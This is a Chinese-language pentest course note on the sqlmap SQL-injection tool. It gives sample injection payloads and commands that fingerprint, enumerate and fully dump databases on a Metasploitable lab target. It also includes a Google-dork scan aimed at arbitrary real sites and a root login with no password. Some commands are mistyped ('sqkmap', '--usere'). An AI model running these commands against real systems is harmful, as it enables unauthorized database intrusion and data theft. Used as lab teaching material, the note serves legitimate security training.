1 sqlmap工具详细使用 任务093:SQLMAP- 自动注入
任务093:SQLMAP- 自动注入 笔记
sqlmap介绍
介绍
- 开源sql注入漏洞检测,利用
- 检测动态页面中get/post参数,cookie,http头
- 数据榨取
- 文件访问
- 操作系统命令执行
- 引擎强大,特性丰富
- Xss漏洞检测
五种漏洞检测技术
基于布尔的盲注检测
- ’ and 1=1
基于时间的盲注检测基于错误的检测
’ and (select * from (select(sleep(20)))a)–+
基于UNION联合查询的检测
- 适用于通过循环直接输出联合查询结果,否则只显示第一项结果
基于堆叠查询的检测
- ;堆叠多个查询语句
- 适用于非select的数据修改、删除的操作
支持的数据库管理系统DBMS
MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLite,Firebird,Sybase,SAP MaxDB
其他特性
- 数据库直接连接-d与burpsuite、google结合使用,支持正则表达式限定测试目标
- 不通过SQL注入,制定身份认证信息、P、端口
Get、post、cookie、Referer、UserAgent (随机或指定)限速: 最大并发、延迟发送
- Cookie过期后自动处理Set-Cookie头,更新cookie信息
支持Basic,Digest,NTLM,CA身份认证
数据库版本、用户、权限、hash枚举和字典破解、暴力破解表列名称
文件上传下载、UDF、启动并执行存储过程、操作系统命令执行、访问windows注册表
与w3af、metasploit集成结合使用,基于数据库服务进程提权和上传执行后门
实际操作
1 | 显示 |
下面就用上面的参数进行演示
靶机metasploitable-linux-2.0.0里的phpMyAdmin里的靶机
命令
1 | sqlmap -u "http://192.168.52.205/mutillidae/index.php?page=user-info.php&username=admin&password=11&user-info-php-submit-button=View+Account+Details" -p username -f |
-p是要指定的变量名之对这个变量进行检查探测
-f是检查检查指纹信息
总体来说就是检查这个URL里的username进行指纹检查看见查
查看读取数据库账号
命令
1 | sqlmap -u "http://192.168.52.205/mutillidae/index.php?page=user-info.php&username=admin&password=11&user-info-php-submit-button=View+Account+Details" -p username --usere |
--usere是查看读取数据库账号
查看数据库的版本
命令
1 | sqlmap -u "http://192.168.52.205/mutillidae/index.php?page=user-info.php&username=admin&password=11&user-info-php-submit-button=View+Account+Details" -p username --banner |
–banner就是查看数据库的版本类型的
查看你数据管理系统有多少库显示库名
命令
1 | sqlmap -u "http://192.168.52.205/mutillidae/index.php?page=user-info.php&username=admin&password=11&user-info-php-submit-button=View+Account+Details" -p username --dbs |
–dbs查看你数据管理系统有多少库显示库名
查看原数据库
命令
1 | sqlmap -u "http://192.168.52.205/mutillidae/index.php?page=user-info.php&username=admin&password=11&user-info-php-submit-button=View+Account+Details" -p username --schema |
–schema查看原数据库 前提的有权限查询schema库的权限
查看你所以的内容
命令
1 | sqlmap -u "http://192.168.52.205/mutillidae/index.php?page=user-info.php&username=admin&password=11&user-info-php-submit-button=View+Account+Details" -p username -a |
-a是查看你所以的内容
直接连接数据库进行查询查询的更快,但是你得的数据库帐号密码 列:sqlmap -d “mysql://帐号:密码@192.168.20.10:3306/dvwa” -a
也可以用其他参数如–dbs了
靶机没有密码输入帐号直接就可以连接了
命令
1 | sqlmap -d "mysql://root:@172.16.103.128:3306/dvwa" -a |
扫描 google 搜索结果这个是需要翻墙的
命令
1 | sqlmap.py -g "inurl:\".php?id=1\"" |
-g就是用google 搜索结果
用 url 列表文件进行扫描
命令
1 | sqlmap -m 文件名 |
-m是指定一个文件文件里存放多个url地址然后在进行文件里的多个url进行选择性扫描
使用和请求文件和 POST文件方法进行扫描
用burp或者用其他工具进行抓取请求内容然后保存一个文件里
帐号密码几乎都是用POST进行传输的很少用UIL进行传输url里没有传输帐号密码那么就在POST请求里
使用http请求文件
这个后面可以跟参数的
命令
1 | sqkmap -r 请求保存的文件 -a |
使用burpsuite log文件
用burp工具的请求的过程保存成一个log文件然后在用sqlmao读取log文件然后在漏洞的注入
保存log文件
命令
1 | sqlmap -l a |
扫描会非常长后面可以加参数
HTTPS
命令
1 | sqlmap -u "https://1.1.1.1/a.php?id=1:8843" --force-ssl |
配置文件进行扫描
就是叫要扫描的URL保存到一个文件里然后sqlmap在读取文件里的URL里的目标地址进行扫描
命令
1 | sqlmap -c sqlmap.txt |